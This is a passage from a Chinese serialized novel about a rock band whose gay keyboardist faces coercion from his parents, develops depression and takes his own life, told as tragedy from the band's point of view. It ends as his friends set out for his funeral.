巡演如计划进行,大家也在一次又一次的现场演出中精进自己的技艺。怎样带动氛围,怎样唱得直击人心,怎样发挥出乐器最大的能量。每一场演出都是由乐队的表演与乐迷的尖叫共同完成的,摇滚的精髓还得是在现场。 而每当乐队巡演时,谢焰总会在某一站的现场突然出现,为了给孔潇一个惊喜。 姜珏记得当年参加选秀时,叶英华说玩摇滚养活不了自己。野心勃勃的她说:现在跟以前不一样了。 然而如今她明白了,虽然时代已经不一样,但摇滚的处境并没有太大的变化。 大多数的乐队一辈子也走不出livehouse,少数可以在音乐节上得到四十分钟的表演时间,能开几千人专场的已经是凤毛麟角,能在一万五千人的峤山体育馆开演唱会的,至今也不过只有两个。 明日回信已经算是圈内名气和口碑都不错的乐队,但峤山体育馆对他们来说仍然遥不可及。 但梦想还是要有的吧。 年纪不知不觉就来到了二十后半,昔日的同学朋友们相继升职了,结婚了,大多数都走在循规蹈矩的道路上。姜珏依然在断断续续地上班,还会接点法律文书代写的活儿,有时也觉得自己这日子过得有点没出息,但还是不想和别人一样。 姜玺在新的公司里有了更高的职位。郭源远一边在异乡辛苦打拼,一边承受着家人的施压。孔潇没什么生活压力,时不时出去旅个游,还是一如既往的潇洒自由,跟谢焰的感情也很好。 至于梦想,近了一点吗?也许吧。 14.Silent Day(乐队视角) 在这一年的伊始,孔潇突然离家出走了。 究其原因,是父母发现了他跟谢焰的事。 某天他开车送谢焰去乐团,在车里与谢焰吻别,不巧正被父亲的一个老同事看见,这事就传到了父亲的耳朵里。 父母的反应比孔潇曾经预想的要激烈得多,一场家庭大战之后,他收拾行李搬去了谢焰那里。 这周大家碰头排练时,孔潇是和谢焰一起来的。孔潇看起来有些消沉,排练老出岔子。姜珏见他实在不在状态,便说:“要不今天算了吧,弹不了别硬弹。” 孔潇抱歉道:“真的不好意思,浪费大家的时间了。” 大家都理解他现在处境艰难,当然不会责怪他。姜珏没再说什么,只是安慰地拍了拍他的后背。 晚上聚在一起吃饭,孔潇说起前几天家里的事,难过道:“我爸妈一直都挺开明的,从小对我也特别好。我以为他们跟那些封建大家长不一样,就算这回被我跟谢焰的事给吓到了,也不至于对我说出那些话……” 孔母是精明干练的大企高管,九十年代就常到国外出差,见识广博。孔父是音乐学院的教授,常年在文艺圈子里浸淫,对同性恋之类早该见怪不怪了。但这回知道了儿子有男友的事,夫妻俩仿佛天都塌了,强硬地要求他必须分手,变回一个“正常”的人,期间还说了许多过分得不可思议、令孔潇无比受伤的话。 从小熟悉的那对宽容而开明的父母,像是在一夜之间就变了模样,陌生得可怕。就因为他身为男人,却喜欢男人。 郭源远其实挺能与他感同身受:“老一辈就这样,别看他们平时说什么理解你啊,支持你啊,其实骨子里还是很保守的。大多数的人呢,都有个认知舒适区,一旦看到有什么人和事情超出了这个范围,他们就浑身难受,严重点的简直感觉天崩地裂了。只有千方百计把这些人和事情扭回舒适区里,看起来熟悉了、‘正常’了,他们就舒坦了。” 姜珏道:“你还挺懂嘛,这理论一套一套的。” 这是郭源远难得的有脑时刻:“我能不懂吗?我都跟我爸妈斗智斗勇多少年了。下个月回家过年,我现在就得开始备战了。” 孔潇听着难得笑了笑。 姜玺宽慰他:“这事有点叛经离道,好多年轻人都接受不了呢,何况是长辈。反正日子还长,将来再慢慢争取,慢慢说服他们吧。他们就你一个孩子,难道还真能不要了?” 谢焰握住孔潇的手,对他说:“乐观一点,情况没那么糟的。这阵子就先在我那儿住着,天塌下来还有我和你一起顶呢。” 听到大家的安慰,孔潇心里感觉好受了许多,也回握住谢焰的手,点点头:“嗯。” 但孔潇在谢焰那里并没有住上多久,没过几天孔父就打电话来告诉他,因为他交往男友又离家出走的事,孔母气得生病了,让他赶紧来医院看看。 当时孔潇正在琴行里,接到电话就火急火燎地赶去医院,他表哥知道了也要一起去探望,还买了些水果牛奶。表兄弟俩赶到医院时,见孔母面容憔悴地躺在病床上输液。孔潇顿时就心里一疼,涌上了巨大的愧疚感,过去向母亲道歉:“妈,都怪我不好。你现在感觉怎么样了,医生怎么说?” 孔母扭过头去,不愿搭理他。他心里越发难受,又说了些有的没的,但都得不到母亲的回应。所有人都知道症结所在,但都没有去触及那个话题。 最后他表哥忍不住了,在旁边劝道:“姑姑,都这个年代了,找对象是女是男真没那么重要,没必要因为这事想不开。那个小谢我也认识,为人不错,对孔潇挺好的。他们俩在一起开心就行了,你也不用操那么多心,反正儿孙自有儿孙福嘛。” 孔母听完他这番话,眼泪就下来了。表哥慌了手脚,孔潇连忙又再安抚劝慰。孔父说道:“少讲那些漂亮话了,你先搬回家里来再说。” 在这样的情境下,孔潇无法拒绝这个要求,回去便收拾了行李要搬回家。谢焰虽然有些替他担心,但也不认为他爸妈真会做出什么过分的事。毕竟孔潇家里就这么一个独生子,以往对他也很疼爱,总不会太为难他的。 分别时,谢焰半开玩笑地说:“你回去以后,可别因为爸妈一骂你就要跟我分手啊。” “怎么可能。”孔潇不假思索的否认,然后在他嘴唇上亲了亲,“我爱你。” 谢焰笑道:“我也爱你。” 然而回到家,噩梦就开始了。 曾经开朗豁达的母亲,如今动不动就叹气落泪。曾经温和儒雅的父亲,现在三不五时就要大发雷霆。两个人用尽了手段轮番给儿子施压,今天示弱打感情牌,明天威胁断绝关系,后天又要道德绑架。孔潇每天生活在巨大的精神压力中,几乎喘不过气。 家里还装上了监控,只要他一出门,爸妈的电话立刻就打过来,事无巨细地追问他去了哪里,跟谁在一起,什么时候回来,连正常的乐队排练都被干扰。孔潇受不了了,他从小深爱的父母明明不是这样的。 他虽然还算挺乖,但不是个上进的人。上中学时,冬天偶尔爬不起来去学校,母亲会打电话给老师帮他偷懒,谎称他生病了需要请假休息。毕业后,他一天班都没上过,就在家里接些设计的活儿,心情好就多干点,心情不好就不干了。打算入股表哥的琴行,父母二话不说就给钱。组了个乐队,也没当上什么大明星,父母为表支持还去看过他的演出,即使他们一点也不爱听摇滚乐。 他过着自由散漫的日子,许多熟识的同龄人都比他有出息,上藤校,进大厂,一心从商或从政,但父母从不拿他跟别人比较。父亲说过:“每个人都是不一样的,人活几十年,还是要做自己喜欢的事情。只要你一直健健康康,每天快快乐乐的,我们就开心了。” 郭源远曾说最羡慕他,觉得他命真好。其实他也觉得自己幸运,但现在一切都变了。 父母展露出从未见过的保守、偏执,甚至是狰狞的模样。是因为同性恋这件事不在他们的认知舒适区里吗?难道他们多年来表现出宽容与开明,只是因为他做到了顺从吗? 在又一次争吵时,孔潇的情绪有些崩溃了,用父亲曾经说过的话来反驳他:“你不是说每个人都是不一样的吗?不是说只要我健康快乐,你们就开心了吗?” 父亲面色冷硬道:“这件事情不一样。你赶紧跟他断了,没得商量。” 是的,在他们的认知舒适区里,儿子可以不上进,但绝不可以喜欢男人。 过完了一个压抑的春节,孔父孔母开始给儿子安排相亲。 相亲对象都是同阶层的女孩,条件很不错。但孔潇天生就不喜欢异性,更何况他也有了多年的恋人,不肯答应去相亲。然而父母根本不相信什么“天生同性恋”,认定他只要遇到心仪的女孩,自然就会“改邪归正”,回归结婚生子的“正途”了。 如果不答应去相亲,等着他的就是无尽的逼迫和拷问。如果妥协去跟对方吃了顿饭,看了场电影,父母又要没完没了地追问发展进度——约好下次见面了吗?对方是什么态度?你就不能主动点吗?到底是哪里不合适?那去见下一个吧,下一个肯定会更好。 如果孔潇表现出一点抗拒,劈头盖脸的责骂就来了,然后又是无休止的冷暴力。 在如此窒息的氛围中,孔潇的心理状况一天比一天糟糕,有时候独自发着呆都会不知不觉地落泪。他甚至开始怀疑,自己喜欢男人是不是真的是个错误?不然二十多年来都尊重疼爱他的父母,为什么因为这个就变了模样呢? 因为被盯得很紧,他也不能再像以前那样常常跟谢焰约会了。谢焰只能在周末乐队排练时过来,两个人在琴行的排练室里见上一面。 谢焰看得出来孔潇的状态越来越差,劝他再次从家里搬出来:“你和爸妈天天在家里互相折磨,什么时候才能是个头?不如先拉开距离,两边都冷静一下,不然你们之中迟早得有人疯了。” 孔潇也知道这个提议是对的,但他在日复一日的重压中变得畏缩了,已经没有了一开始的果断:“我要是搬出去,我爸妈现在就得疯了。上回我离家出走就把我妈气得住进了医院,这回要是再有个三长两短怎么办?我实在……不放心他们。” “我也不放心你啊!”谢焰抓着他的肩膀说,“光是你在考虑他们的感受,他们有考虑过你的感受吗?” “他们从小对我很好的,没有人比他们更爱我了,只是一时接受不了我喜欢男人。他们可能有些方式用得不对,但心里也是为了我好。”孔潇在说出这些话时,就好像是在逼自己相信。 谢焰却不信:“为了你好,所以逼你跟不喜欢的人在一起?为了你好,所以非要骂你、强迫你、伤害你?你会这样对待你爱的人吗?” 孔潇痛苦地摇头:“难道我要为了自己快活就丢下他们,看着他们伤心也不管不顾吗?那样太自私了。” “这怎么能叫自私?你已经是个大人了,有权利选择你想过的生活,他们也一样。他们不应该来干涉你,你也没必要去改变他们。” 谢焰其实不能理解孔潇与父母这种紧密又拧巴的关系。他的父母已经离异十几年了,他跟着父亲,妹妹跟着母亲,虽然平时不生活在一起,但家人之间的感情很不错。他自从毕业后就在自己的公寓里独居,有空才回去看看家人。他觉得正常的家庭就该是这样的,家人之间互相挂念,但也不妨碍各自有各自的生活。 在他看来,如果孔潇的父母非要控制他去过他不喜欢的人生,他是随时可以离开这种控制的,毕竟他已经是一个大人了啊。 孔潇却始终下不了决心:“我知道道理都是这么说的,可要是真的这么做,就太冷漠了……” 谢焰知道他就是这副温柔心软的性格,叹了口气,问:“那之后怎么办呢,就这么跟他们耗下去吗?” “我一直在尝试说服他们,让他们了解我们这样的人,放下那些成见。只要多用一点时间,我相信他们总有一天会理解我的。”孔潇明白谢焰心底的忧虑,向他保证道,“不管怎么样,我一定不会跟你分开。” 谢焰也只好放弃了劝说他,点点头:“我相信你。” 孔潇天真地以为,只要把同性恋也加入到父母的认知舒适区里,他们自然就不会再把他的性向视为不正常了。为此他找来了不少相关的科普资料、其他同性情侣幸福生活的例子,也在努力地解释和自证,保证自己一定不会像圈子里的人那样轻浮放浪,但没有任何效果。 父母拒绝接收这些信息,甚至拒绝此类的沟通。好像只要不看、不承认如孔潇这样的“异类”,这个“毛病”就不存在了,他们的儿子就还是“正常”的。 相亲没有停止,施压愈演愈烈。 夏天时,明日回信受邀去音乐节表演,演出前自然是要更用心地进行排练。但今天孔潇在排练中频频失误,别说那些为了音乐节设计的新编排,就连早该形成肌肉记忆的旧琴谱都弹不好。 他好像控制不住自己的手了,无论怎样努力,双手就是跟不上节拍。 演奏因他的失误而反复中断,大家都意识到他的不对劲了。郭源远关切地问他:“还好吧?今天是身体不舒服吗?” 孔潇沮丧地用双手撑住额头:“我不知道……以前从没有这样的。我好像没法好好弹琴了……” 姜珏犹豫了一会儿,说:“实在不行的话,那天你的部分就放program吧。” “不!”孔潇立刻拒绝了,“我再试试,应该能行的。” 在乐手到场的情况下,负责演奏的部分还用program,正是圈内最鄙夷的假弹。明日回信成立八年了,即使在技术最稚嫩的时候也从没假弹过,孔潇不愿因为自己的无能而让大家破这个例。 他重新把手放到键盘上,试着弹奏最熟悉的谱子,一开始还算流畅,半途出了点小差错。他顿时就慌了,心里又急又焦虑,于是手下就变得更加慌乱,琴声乱七八糟,不成曲调。 他突然把两手砸在琴键上,崩溃地哭了出来,嘴里不停道歉:“对不起,对不起……我太没用了,都是我的错……” 其他几人看见他这副样子,一时都有些不知所措了。姜珏手忙脚乱地去给他找抽纸,一边塞给他一边安慰道:“孔潇,你别着急啊,还有时间的。今天你状态不好,先休息吧。要不我们下次再排?” 姜玺意识到了什么,走过去把手按在他的肩膀上:“孔潇,你是不是生病了?” 孔潇茫然地看着她,眼泪不受控制地掉落。 “你去找心理医生看过吗?” “我……应该去吗?” 姜玺认真道:“尽早去,你大概是真的生病了。” 第二天孔潇就去了精神卫生中心,领回了诊断书和一些药物。他没有向父母隐瞒,甚至暗暗有些期待地想,父母看到了这些,应该就会出于心疼而对他转变态度了吧。他们会像以前那样,在他生病时担心他、关爱他,对他嘘寒问暖,也不会再逼他做任何他不喜欢的事。 然而很遗憾,心理疾病也不在孔父孔母的认知舒适区里。 “哪来的抑郁症?你就是日子过得太舒服了,你要是也像别人那样整天忙着上班赚钱,哪有那么多时间胡思乱想。我在外面工作压力够大的了,你还不让我省心,要抑郁也是我先比你抑郁了。” “医生说什么你就信什么?现在那些庸医为了赚钱,乱下诊断、乱开药的还少吗?你别出去乱说得了什么抑郁症,要是让别人知道你有精神病,以后就没有女孩子愿意跟你相亲了。” 正如他们对待同性恋一样,只要拒绝看见、拒绝承认,那么它就理所当然地不存在了。 最后孔潇还是没能跟随大家一起出席音乐节,只能协调同公司另一支乐队的键盘手临时顶上了位置。这是明日回信第一场有成员缺席的公开演出。 再后来,孔潇有了未婚妻。 对方叫张未璇,是孔母同事的女儿,年长他三岁。小时候两个人还在一起玩过,不过随着年龄长大,张未璇又出国留学,已经很多年没有往来了。 据说张未璇原先在国外有不错的工作,事业正是上升期,一直不肯结婚、不肯回国。父母发动各路亲戚轮番劝说无果,急得没有办法了,最后不惜亲自飞到国外,当面苦苦哀求,总算让女儿甘愿辞职回国。 一回来,就被撮合跟孔潇在一起。 孔潇厌倦了相亲,孔父孔母同样也厌倦了。张未璇品貌兼优,家里又是门当户对、知根知底。两方家长都对彼此的儿女感到满意,互相一合计,很快就替儿女做下了决定。 孔母对儿子说:“你要是没什么意见,就尽快跟未璇把婚订了吧。她今年也三十岁了,拖不得了。” 可以拒绝吗?可是拒绝之后会得到什么结果,孔潇已经能够预见。他没什么力气地说:“我不喜欢她。” “那你到底喜欢什么样的?这个也不满意,那个也不满意,你有本事自己去找一个啊?再说未璇哪里不好了,人家……” 他有些疲惫地打断了母亲:“我知道了,听你们的吧。” 不久之后,两家人聚在一起吃了顿饭,商量张未璇与孔潇的婚事。依照家长们的意思,订婚仪式从简,婚期定在了年底。在四个长辈喜气洋洋的讨论中,孔潇插不上什么话,张未璇也是一直安静,面无表情。 就这样被推着走上了注定痛苦的道路,孔潇脑子里浑浑噩噩的,这事该怎么跟谢焰说呢?当初自己亲口向他承诺,不管怎样都一定不会跟他分开的啊。 因为不敢面对,他不回复谢焰的消息,也不敢接他的电话和视频。这在谢焰看来就如同分手的信号。他坐不住了,这天便去了孔潇和他表哥经营的琴行,要找孔潇问一个明白。 孔潇他表哥见到他有些惊讶:“小谢?今天怎么有空过来了。” “孔潇今天不在吗?” “他最近除了排练都不太过来了。你找他有事?” 谢焰说:“这几天他一直不回我消息,也不接电话,感觉挺奇怪的。他不会出什么事了吧。” “出事应该是不会。”表哥想到了什么,有些支吾地说,“不过前几天我看姑姑的朋友圈,孔潇是刚订婚了,还说那姑娘和他是青梅竹马,不过我以前倒是没见过……” 而与此同时,孔潇正在例行公事地和张未璇约会。两个人相处时客客气气,连手都不会牵。原本还有小时候的几分情谊在,但现在突然变成了未婚夫妻,观感反倒尴尬了。 两个人坐在湖边的一家咖啡馆里。孔潇望着窗外有些失神,他想起来,上一次来这儿还是跟谢焰一起。 他低下头,看到手腕上那个X的纹身,挣扎许久,终于还是决定坦白:“未璇姐,有件事我要告诉你。” “什么事?”张未璇漫不经心地问。 “我,我其实不喜欢女人。” 张未璇原本正在低头看手机,这时候终于因为惊讶而抬起了头。 “我有喜欢的人,我们在一起都快八年了。”孔潇伸出手去,亮出了手腕上的那个纹身,“这个是他的名字,他也把我的名字纹在了身上。” 张未璇放下了手机,直视着他:“所以呢?” “所、所以……”孔潇原以为她知道了这事就会打消结婚的念头,但见她仿佛并无此意,只得由自己把这些话说出来,“我们没法像别的夫妻那样,你和我结婚不会幸福的,那还不如……” “幸福?”张未璇听见这话反而嘲讽地笑了几声,“从我回国的那一天开始,我就知道我不会有幸福了。” 孔潇怔愣地看着她。 “孔潇,你我心里都清楚,我们结婚难道是因为相爱吗?”张未璇直言不讳,“我们就是为了给爸妈一个交代而已。我从来都没指望你爱我,我也不可能会爱你。” 张未璇说出这些话时,孔潇从她眼中看到了隐约的恨意。 她喝了口咖啡,又道:“现在早点说开了也挺好。以后我们就各过各的,偶尔应付一下爸妈就行。别的我不会管你,你也别管我。” “……知道了。” 坦诚相见之后,两个人都感觉轻松了许多。孔潇恍惚地想,这样好像也不错,这算不算是一个皆大欢喜的结果? 这时谢焰的信息又发了过来:我们好好谈一谈吧,我在琴行等你。 孔潇赶到琴行时,见谢焰面色阴沉地坐在角落里,似乎已经等待了很久。表哥见他来了,识趣地说道:“要不我先避让一下?” 孔潇问:“排练室现在没人在用吧?” “现在空着,六点到八点有人约了。” 孔潇便走过去对谢焰说:“我们去排练室里聊吧。” 两个人进到隔音的排练室里,孔潇关上门,有些胆怯和迟疑地开了口:“我——” “你订婚了?”谢焰先问了。 孔潇愣住:“你知道了。” “你表哥告诉我了。”谢焰别开脸去,“所以你最后还是决定要跟我分开了吗?” “没有!”孔潇急切地否认了,拉住他的手说,“我向你保证过的,不管怎样都不会跟你分开。” 但谢焰听到这话并没有半分开心,反而不可置信地问他:“孔潇,你到底把我当成什么了?” 孔潇心知他误会了,连忙解释道:“我和未璇姐,就是那个订婚的对象,和她说了我跟你的事。她说以后我们各过各的,互不打扰,就是结个婚给父母看而已。我们俩现在是什么样,以后还是什么样,不影响的。” “不影响?”谢焰苦笑两声,“都八年了,没想到有一天我和你还会变成婚外情。” 这个词也刺痛了孔潇。是啊,他们幼时相识,从十九岁那年相恋到今天,本以为可以一直这样名正言顺走下去的。一旦结了婚,就算再亲密的感情也被隔了一道世俗的壁垒。 孔潇颓丧地坐在椅子上,愧疚地垂着头。他还能说些什么呢?好像一开口也只有那句令人厌烦的对不起。 “你以为结了婚就能让他们满意了吗?他们今天逼你们结婚,明天必然就会逼你们要孩子,一个不够还要第二个。到了那个时候,你还是因为舍不得伤他们的心,就继续乖乖地顺从?那我呢?只能等你哄完了孩子再来谈一段婚外情吗?”谢焰失望而烦躁地问他,“孔潇,我真的不明白,你到底为什么不能拒绝?像个成年人一样离开家,去过自己想过的生活,有这么难吗?” 孔潇用双手捂住了脸,似乎很想下这个决心,终究还是哽咽道:“我,我做不到……” 谢焰无力地叹息了一声,疲惫地轻声道:“算了。” 他恨他的善良,恨他的软弱,恨他自以为可以改变父母的天真,但看到所爱之人伤心哭泣的模样,他无论如何也不忍再作更多的苛责。更何况,他生病了。 谢焰在孔潇面前蹲下来,捧起他的脸,为他抹掉眼泪:“你想好的事就去做吧,我会等你。我家门锁还留着你的指纹,你要是想搬过来,随时都可以。” 孔潇点了点头,吻住他的嘴唇。 婚事定下以后,孔潇又见到了曾经的父母。他们重新变得温和、明理,对儿子疼爱纵容,是昔日熟悉的模样。孔潇心里却对他们有些畏惧,同时也感到迷茫,到底哪一个才是他们真实的模样呢?如果又遇到了什么超出他们认知舒适区的事,他们会再变脸吗? 但至少目前看来,一切都在往好的方向发展。 父母对他床头的药物睁一只眼闭一只眼,平时会催他多约张未璇出去玩。他吃了药变得嗜睡,常常一觉睡到下午。记忆力变坏了一些,设计的工作也不再做了,不过又可以正常弹琴,乐队排练是为数不多能让他快乐的事。 每天的睡眠时间虽然长,但睡眠质量不算好,总是会做很多梦。梦到谢焰,梦到乐队演出,也会梦到张未璇。他觉得张未璇恨她的父母,也恨他,最后却还是愿意为了他们而跟他结婚。她每天过得快乐吗,也需要吃药吗? 经过跟公司讨论,明日回信计划在十月下旬开启巡演,为期两个月。大家都有些兴奋,孔潇也很是期待。跟朋友们一起踏上旅途,四处演出,听见乐迷们大声的欢呼,多快乐啊。按照惯例,谢焰还会在某一站的现场突然,给他一个惊喜。 虽然在巡演结束的时候,他就要结婚了。 父母知道了乐队要巡演的事,并不反对。孔母还说:“未璇还没去看过你们的演出吧?到时候也叫上她一起去看看。” 孔父笑道:“我们孔潇这么多才多艺,她要是看了肯定更喜欢了。” 仿佛不曾把他贬低得一无是处。 意外出现在入秋的某天晚上。 那天在入睡前,孔潇突然接到了张未璇的电话。那边没有一句废话,直接通知他:“我要走了。” “去哪里?” 张未璇没有明确告知那个目的地,只是说:“出国,不回来了。” “啊?”孔潇惊讶极了,但心底隐约能明白这是为什么。 “我不想结婚,也不想去过我爸妈安排的生活。既然他们不在乎我的感受,那我也没必要在乎他们的。”张未璇的语气异常冷静,甚至透着一股冷漠,“你就把责任都推到我头上吧,是我自私、不孝、没有责任心。总之,我要走了。” 孔潇听到电话那头传来登机的广播通知,仍感到有些不可置信:“就这样丢下叔叔阿姨,没关系吗?” 张未璇道:“他们是最自私的人,一定可以过得很好。就这样吧 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“当然了。”谢焰笑道,“到时候突然出现在台下,给你一个惊喜。” “谢焰。” “嗯?” 孔潇轻声说道:“这么久了,谢谢你。” “说什么谢谢,不说爱我吗?” 孔潇笑了起来:“我爱你。” 张未璇出走的事掀起了两家巨大的风波。她的父母急得团团转,四处找她的同学好友打探消息,却都抓不到风声,意识到她是真的义无反顾离开了。于是他们又对孔家哭诉道歉,说自己教女无方,女儿竟然做出这种大逆不道的事情,连累了孔家。 不知怎么的,孔潇看着竟有一种快意。 然而婚事一取消,孔父孔母再次变脸了。 他们也想不通,张未璇好好的为什么就丢下父母不告而别了?孔父想到了一个可能,去质问儿子:“你老实说,你是不是跟人家说了你那个毛病?不然她为什么突然逃婚?” 孔潇沉默一会儿,只说:“我没有毛病。” “没有毛病?没有毛病怎么会跟男人鬼混?你到底是不是让人家知道了?”孔父喝道,“你说话!” 孔潇再也忍不下去,也大声道:“是!我告诉她了!我跟她说了我喜欢男人,我也跟你们说过的,已经说了无数遍了!” 孔父气急:“当初你在大街上跟男人亲嘴给人看了去,你还嫌不够丢人的,现在还要嚷嚷得给全世界知道?我们的脸都让你丢尽了!好不容易有个合适的姑娘跟你订了婚,你还非要搅黄了,你就想气死我们是不是?” 孔潇感觉累极了,无意再继续争吵:“你们看不到我,就不气了。” 见儿子竟然收拾了行李要走,孔父暴跳如雷:“你今天要是敢出了这个门,以后永远都别再回来!” 孔潇再次搬去了谢焰那里。 他想张未璇说得有道理,逼迫儿女遵从自己意愿的父母才是最自私的。都已经委屈自己去顺从他们那么久了,他也想要自私一次。 现在和谢焰住在一起,每天睁开眼睛就能看到他,是以往不敢想象的幸福。 队友们也天天在群里鼓励他,给他分享趣事。郭源远还帮他制定了个锻炼计划,说运动对改善抑郁很有帮助。 然而父母的电话和信息每天轰炸不停,他每次看到都要内耗好久。父母见催逼无果,又去让他表哥帮忙劝说。因为害怕父母去表哥那里逮人,他最近也不再去琴行了。 想着巡演,想着谢焰,想着未来,他告诉自己一定要比昨天再坚定一点。 一连过了半月,孔潇的生日到了,正式满二十七岁。 零点过后,母亲给他发来了长长的信息,细数他童年的趣事、成长的点滴,言语间都是爱意,还反省了自己的所为,保证今后不再勉强他做不喜欢的事了,最后对他说:在生日这天至少回家一起吃顿饭吧。 孔潇看着这条长信泪流不止,他想父母果然还是最爱他的,他们终于理解了他。 谢焰却有意见了:“不是说好今晚大家一起给你过生日的吗?” 孔潇说:“我在家吃了饭就出来找你们,不耽误的。” “最好是。”谢焰捏了捏他的脸,“别是你爸妈花言巧语哄你回去的,一进贼窝就出不来了。” “怎么会。”孔潇笑道,“那万一真出不来了,你们去营救我?” “在所不辞。” 谢焰在出门前与孔潇吻别:“今晚见。” 孔潇也一如往常地对他说:“今晚见。” 他下午回到家,孔父已经做了一桌子好菜等着,孔母下班回来时还特意带了礼物。开饭前一家三口碰了个杯,父母笑着祝儿子生日快乐。桌上没再提起那些令人不快的话题,只是吃饭闲聊,气氛温馨融洽,就像孔潇记忆中最习以为常、最幸福的那样。 他由衷地感到喜悦和庆幸。这真好啊,先前无数的煎熬都有了意义,只要挺过了那段最黑暗的日子,他和父母终究放下成见与分歧,真正接纳了彼此,真好。 饭间,孔母问道:“你现在是住在哪里?” “朋友那儿。” 孔母立刻追问:“什么朋友?女的男的?”意识到自己的语气有点咄咄逼人,又和颜悦色道:“是跟你组乐队那几个吗?” 孔潇含糊道:“嗯。” “总打扰人家也不好,看着差不多就搬回来吧。”孔母道,“我们也想你了。” 孔潇有些动摇了,但还是说:“最近乐队要抓紧排练,等巡演结束以后再说吧。” 吃完了饭,他也想向父母示个好,便主动去洗了碗。母亲就在水池边看着他,似乎也感到欣慰,酝酿了一会儿,说道:“这学期你爸新收了个研究生,人挺机灵的,长得也漂亮。刚好人家也是学音乐的,说不定对你那个乐队挺有兴趣呢。要不要认识一下,到时候带上人家一起玩?” 孔潇刷碗的动作顿时一滞,他当然能听懂这话里真实的意思。 父母还是没有放弃,什么理解、反思、接纳,只不过是些涂脂抹粉的谎言,他却信以为真。 他们企图将他掰回“正途”的执念,从未变过。 他突然感到前所未有的疲惫,先前无数的煎熬真的有意义吗?兜了那么大一圈,最后还是回到了起点。 他用沉默作为回答,埋头更加用力地刷碗。孔母看到他这反应,也明白了他的态度。她缓和气氛地笑道:“就是随口一说,又没非要让你怎样。反正都是年轻人,多结交点朋友不也挺好的?” 孔潇只是说:“我不缺朋友。” 这时孔父也凑过来了:“朋友哪儿还有嫌多的,等会儿我把她微信推给你。” “不用了。”孔潇感觉自己的耐心已经被耗尽,“今晚你们叫我回来,就是为了这个吗?” “你这是什么话,叫你回来当然是为了给你过生日,你就非要把我们往坏了想。”孔父不满道,“我们又怎么你了?给你介绍朋友还能是要害你?” “你明知道我有‘毛病’,你是在害你的学生。” 孔父顿时恼羞成怒了:“不识好歹的东西!你还教训上我了,我这都是为了谁?还不是因为你有这个丢人的毛病!” 表演了一晚上的温情脉脉,至此终于图穷匕见。 那些痛苦的记忆又再涌现,那些好不容易压制的情绪又卷土重来。孔潇听到父亲的吼声,应激地浑身颤抖,手里的瓷碗掉落在地上,发出刺耳的破碎声。 他要离开这里,必须离开。所谓的家已经成为一个只会吞噬他精神与□□的黑洞,他要去爱人和朋友们所在的地方,在那里才能活下去。 他僵硬地关掉水龙头,转身想要走出厨房。母亲拦住了他,红着眼眶说道:“你还是要走吗?” 他的眼泪比母亲的还先落下了,哽咽道:“你们骗我。” “我们是爱你啊!你为什么就是不明白我们的苦心?为什么就是不能像别的孩子一样做个正常人呢?”母亲突然捡起地上一块碎片,把尖锐的边缘对着自己的脖子,“你要是非走不可,非要跟那个姓谢的在一起,那我活着也没有意思了。” 这是爱吗?孔潇看着母亲手里的陶瓷碎片,当初他用刀片在自己身上划下的那些伤痕,又怎么算呢? 他闭上眼睛,感觉身体已经摇摇欲坠,想起此时还在等待他的谢焰跟队友们,突然又有了些力量。他不顾母亲的阻拦,执意走到客厅的衣帽架前,戴上了来时的那顶帽子。 “你站住!你要去找那个姓谢的吗?你现在是不是跟他住在一起?”父亲拽住他的胳膊,“以前靠我们养着,现在又靠男人养你?” 孔潇试图挣脱父亲的钳制,哑声道:“你们管不了我。” 父亲一个狠厉的耳光抽在他脸上,打得他趔趄几步,跌坐在了地上。 “我们管不了你?你这种衣来伸手饭来张口的废物,凭自己挣到过几个钱?住着大房子,开着好车子,到处挥霍,享受着父母的供养还不知感恩,你跟张未璇一样是个白眼狼!” 曾经那些溺爱的证明,一笔一笔都变成了他欠下的巨债。悉心疼爱过他的人,最知道他的弱点,也最知道如何把刀尖扎进他的心。 “我们管不了你?你连这条命都是我们给的!” 命?不重要了。 熟悉的泥沼再次吞没了他,他缓缓陷进那片无边的黑暗里,已经失去挣扎的力气。在泥沼没过头顶时,竟然感觉不到胸口的疼痛了。 也看不见,也听不见,也再记不起谁。 他睁着空洞的双眼,虚弱地说出了最后一句话:“那我还给你们。” 在另一边,谢焰联合姜珏姜玺与郭源远给孔潇布置了一个小型生日派对,就等寿星降临了。眼见孔潇已经迟到很久,打了几个电话给他都不接,发出的信息也得不到回复,大家不免都有些担心了。 “坏了。”谢焰早有所料,“我就知道他爸妈今晚把他骗回去是没安好心,说什么给他过生日,八成是趁机把他关在家里,手机也收走了。” “哈?”姜珏觉得这简直不可理喻,一巴掌拍在桌子上,“要死了,世界上怎么还有这种父母啊?” 郭源远摇头:“我爸妈看了都得甘拜下风。” 姜玺问谢焰:“你知道他家在哪里吧?我们要不要去找他?他最近好不容易稳定了点,被关在家里估计又要发病了。” 谢焰急道:“现在就去,就算绑也要把他绑走。” 谢焰一路飙车,甚至闯了一个红灯,载着大家一起来到孔潇家的小区外面。这是个高档住宅小区,平时出入都有门禁,今晚却敞着大门,他们进去时没被阻拦。 进到小区里,他们远远看到前面一片地方拉了警戒线,旁边停着一辆警车,周围还聚集了一些围观的人群。 “那边怎么回事啊?”姜珏伸长脖子张望了几下,又去问谢焰,“你知道孔潇家是住哪一栋吗?要不打个电话问问他表哥?” 谢焰正要掏出手机,视线扫到了人群聚集的那边,脚步霎时就停下了。 在警戒线围住的那片空地上,他看到了一顶熟悉的帽子,孔潇最近经常戴它。 这时有两个小区住户经过他身边,对话传进了他的耳朵里。 “唉,年纪轻轻的,怎么这么想不开。” “出了这事,小区的房价怕是会被影响哦。” 他连忙叫住了他们:“麻烦请问一下,那边是出什么事了?” “你还不知道啊?今晚有个小伙子从九楼跳下来了。” 15.与浪之间(乐队视角) “先说好了,等会儿你们到了那边千万不要乱来。” 孔潇他表哥在前排千叮咛万嘱咐,载着大家去往孔潇的灵堂。 “我知道你们心里都气,其实我也气。孔潇这样肯定是被他爸妈给逼的,但人家毕竟是亲爸妈,我们这些外人还能怎么样呢。那天孔潇就在他们眼前跳下去,听说姑姑当场就晕了。唉,白发人送黑发人,现在最难受的也是他们。” 车里安静,只有表哥一个人在说话:“我也算看着他长大的,这孩子心眼儿是真的好,才这么年轻,那天还是他生日呢……” 兄弟俩的关系一直很好,表哥说起刚刚过世的孔潇,也有些哽咽了。 姜珏姜玺跟谢焰坐在后排,郭源远坐在副驾驶座上,都没有开口。今天大家不约而同地穿上了一身黑衣,去往一场没有被邀请的葬礼,去见他们的挚友和爱人。 孔潇的离世来得太突然,明明一切都在变好,大家都在尽力地帮助他走出阴霾,他也那么努力地拯救自己了,结果却还是—— 